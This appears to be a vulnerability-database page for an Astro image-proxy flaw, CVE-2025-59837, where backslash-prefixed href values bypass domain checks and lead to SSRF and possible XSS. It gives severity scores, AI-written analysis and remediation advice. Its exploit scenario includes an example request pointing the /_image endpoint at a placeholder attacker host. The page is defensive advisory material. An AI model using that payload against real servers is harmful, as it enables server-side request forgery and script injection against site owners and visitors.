Skip to main content

Astro CVE-2025-59837

HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-10-28 security-advisories@github.com
7.2
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Astro site with SSR image proxy
  2. Delivery
    Craft href with leading backslashes
  3. Exploit
    Bypass domain validation blocklist
  4. Execution
    Server fetches attacker URL
  5. Impact
    SSRF to internal host or XSS via proxied SVG

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the Astro image optimization/proxy endpoint (the server-side /_image route) to be reachable at runtime, which means the site must run in on-demand/SSR (server) mode rather than a purely static build where no live endpoint is served. Given the fix: the affected product must be Astro versions >= 5.13.4 and < 5.13.10 - notably, installations that applied only the prior CVE-2025-58179 fix remain vulnerable because that patch's http://, https:// and // blocklist is bypassed by backslash (\\, \, %5C) prefixes in the href parameter. No authentication or user interaction is required (PR:N/UI:N). The main limiting factor is deployment mode: static-only Astro sites without the live image proxy do not expose this attack surface; XSS realization further depends on the proxied content type (e.g. a returned SVG) being rendered in a victim's browser context.

Impact

This is a moderate-severity SSRF/XSS issue that is a real but not top-tier priority. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N, base 7.2 High) indicates a network-reachable, low-complexity, unauthenticated flaw with a scope change - consistent with SSRF where the vulnerable proxy issues requests affecting other systems, and the low C/L impact reflecting limited data exposure plus potential reflected XSS rather than full compromise. Signals conflict on urgency: a public PoC exists (demonstrated in the GHSA advisory against raw.githubusercontent.com), which raises practical exploitability, yet the EPSS score is low at 0.35% (27th percentile), indicating no observed mass-exploitation activity, and the CVE is NOT listed in CISA KEV. The exploitation status is therefore: publicly available exploit code exists, but no confirmed active exploitation. A notable caveat: this is explicitly an incomplete-fix bypass of CVE-2025-58179, so environments that only applied the earlier patch remain exposed - the recurrence pattern (forward-slash blocklist bypassed via backslashes) suggests the input-normalization surface warrants scrutiny beyond this single fix. Net assessment: patch promptly for internet-facing Astro SSR deployments that expose the image endpoint, but this is a High-CVSS issue with currently low real-world exploitation pressure rather than an emergency.

Exploit ScenarioDerived

An attacker sends a crafted request to an Astro site's image proxy endpoint (e.g. /_image?href=\\attacker-controlled-host/payload.svg), using backslashes to evade the http://, https:// and // blocklist so the server still performs a fetch to the attacker-chosen URL. This enables SSRF against internal services and, by proxying an attacker-controlled SVG, potential cross-site scripting; a working PoC is published in the GitHub Security Advisory, and exploitation is low-complexity and requires no authentication per the CVSS vector.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 08, 2026

Server-side request forgery in Astro's built-in image proxy lets unauthenticated remote attackers force the server to fetch arbitrary external URLs by placing backslash-prefixed values (\, \\, or URL-encoded %5C) in the href parameter of the /_image endpoint, bypassing the domain validation added for CVE-2025-58179. The flaw affects Astro versions 5.13.4 through 5.13.9 on Node.js and carries secondary XSS potential because the proxied response - for example an attacker-hosted SVG - is subsequently rendered in a victim's browser context; it is rated CVSS 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) and maps to CWE-79 in the NVD record despite the underlying weakness being an SSRF/URL-validation bypass. Publicly available exploit code exists (the GHSA proof of concept targets Astro's own hosted image endpoint), while EPSS remains low at 0.35% (27th percentile) and the practical attack surface is limited to deployments running the on-demand image service rather than purely static builds. A vendor-released patch is available: Astro 5.13.10.

RemediationAI

Upgrade to Astro 5.13.10, which is the vendor-released patch and the first version that canonicalizes URL-encoded backslashes and rejects leading-backslash and backslash-prefixed protocol inputs in isRemotePath() (see GHSA-qcpr-679q-rhm2 and the fix commits https://github.com/withastro/astro/commit/1e2499e8ea83ebfa233a18a7499e1ccf169e56f4 and https://github.com/withastro/astro/commit/9ecf3598e2b29dd74614328fde3047ea90e67252); note that applying only the earlier CVE-2025-58179 fix (5.13.4 line) leaves systems vulnerable, so the version must be explicitly confirmed as 5.13.10 or later. If immediate upgrade is not possible, compensating controls include switching Astro to a static output where the live /_image route is not served (this removes the attack surface entirely but sacrifices on-demand image optimization at request time), or configuring the image service to disable remote fetching so href parameters cannot resolve to non-local resources, with the trade-off that legitimate remote/optimized images will no longer be proxied. For sites that must run SSR, block or restrict access to the /_image endpoint at the reverse proxy or WAF layer - allow only expected local path patterns and reject any href containing backslashes, %5C, or protocol-relative sequences - accepting the side effect that any legitimate consumers of the endpoint must be allow-listed. Additionally, because returned content may be rendered as XSS, serve proxied responses with a restrictive Content-Type and Content-Disposition, and apply a Content-Security-Policy that blocks inline and remote script execution. These are mitigations only; the authoritative fix is the 5.13.10 upgrade.

Affected Packages

npm astro fix: 5.13.10

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Astro's image proxy is served by the /_image route, which accepts an href parameter and performs a server-side fetch of the referenced resource for optimization. The guard against arbitrary remote fetches lives in isRemotePath() in @astrojs/internal-helpers/path.ts, which originally matched only URL_PROTOCOL_REGEX (/^(?:(?:http|ftp|https|ws):?\/\/|\/\/)/) plus data: prefixes. The CVE-2025-58179 fix hardened that check against http://, https:// and protocol-relative // inputs, but did not account for URL normalization: many HTTP clients and browsers treat backslashes as forward slashes, so a value such as \\raw.githubusercontent.com/... is normalized downstream into a protocol-relative remote URL and bypasses the blocklist. The 5.13.10 commit decodes %5C (URL-encoded backslash) to a literal backslash, then treats any leading backslash, backslash-prefixed protocol forms (http:\, https:\), and encoded variants as remote, closing the gap. The root cause class as scored is a cross-site scripting weakness (CWE-79), reflecting the downstream rendering of attacker-influenced remote content, but the mechanism is server-side request forgery (SSRF) arising from incomplete input canonicalization in a URL-validation helper. The affected CPE, cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*, confirms this is the Node.js/SSR runtime of the Astro framework, where the live image endpoint actually exists.

Know when Astro gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 7.2 HIGH

Unauthenticated network request to the image proxy (AV:N/AC:L/PR:N/UI:N); SSRF makes the server act on other systems, so S:C with limited C:L/I:L and no availability impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionNVD

Astro is a web framework that includes an image proxy. In versions 5.13.4 and later before 5.13.10, the image proxy domain validation can be bypassed by using backslashes in the href parameter, allowing server-side requests to arbitrary URLs. This can lead to server-side request forgery (SSRF) and potentially cross-site scripting (XSS). This vulnerability exists due to an incomplete fix for CVE-2025-58179. Fixed in 5.13.10.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 npm packages depend on astro (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 5.13.4.

Executive ViewAI

Why It Matters

Astro's built-in image proxy can be abused by unauthenticated remote attackers to make servers running Astro 5.13.4 through 5.13.9 on Node.js fetch attacker-chosen external content, with secondary browser-based XSS risk when proxied responses are rendered to users. Publicly available exploit code exists, so organizations with exposed production deployments using the on-demand image service should prioritize remediation because the issue bypasses prior domain-validation protections and could affect user trust, data exposure, and service integrity, although purely static builds are not practically exposed.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 73% exploitable
Prevalence
Medium
popular modern JS web framework, but attack surface needs SSR image-proxy deployment
Exploit
POC
Public exploit code exists
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

56
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Affected Products (CPE)NVD

cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*

More in Astro

View all
CVE-2018-7180 CRITICAL POC
9.8 Feb 17

SQL Injection exists in the Saxum Astro 4.0.14 component for Joomla!. Rated critical severity (CVSS 9.8), this vulnerabi

CVE-2026-25545 HIGH POC
8.6 Feb 24

Astro web framework versions prior to 9.5.4 contain a server-side request forgery vulnerability in error page handling t

CVE-2024-56159 HIGH POC
7.8 Dec 19

Astro is a web framework for content-driven websites. Rated high severity (CVSS 7.8), this vulnerability is remotely exp

CVE-2025-58179 HIGH POC
7.2 Sep 05

Astro is a web framework for content-driven websites. Rated high severity (CVSS 7.2), this vulnerability is remotely exp

CVE-2025-64764 HIGH POC
7.1 Nov 19

Astro is a web framework. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication

CVE-2025-55303 MEDIUM POC
6.9 Aug 19

Astro is a web framework for content-driven websites. Rated medium severity (CVSS 6.9), this vulnerability is remotely e

CVE-2025-64525 MEDIUM POC
6.5 Nov 13

Astro is a web framework. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authenticatio

CVE-2025-61925 MEDIUM POC
6.5 Oct 10

Unvalidated reflection of the X-Forwarded-Host header in Astro (versions before 5.14.3) lets remote, unauthenticated att

CVE-2026-27829 MEDIUM POC
6.5 Feb 26

Astro web framework versions 9.0.0 through 9.5.3 fail to validate remote image domains when the inferSize option is enab

CVE-2026-84376 MEDIUM POC
6.3 Sep 02

Base-path prefix bypass in Astro prior to 7.2.4 allows unauthenticated remote attackers to reach protected server-side r

CVE-2025-54793 MEDIUM POC
5.5 Aug 08

Astro is a web framework for content-driven websites. Rated medium severity (CVSS 5.5), this vulnerability is remotely e

CVE-2026-27729 MEDIUM POC
5.9 Feb 24

Memory exhaustion denial of service in Astro 9.0.0 through 9.5.3 allows remote attackers to crash server processes by se

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy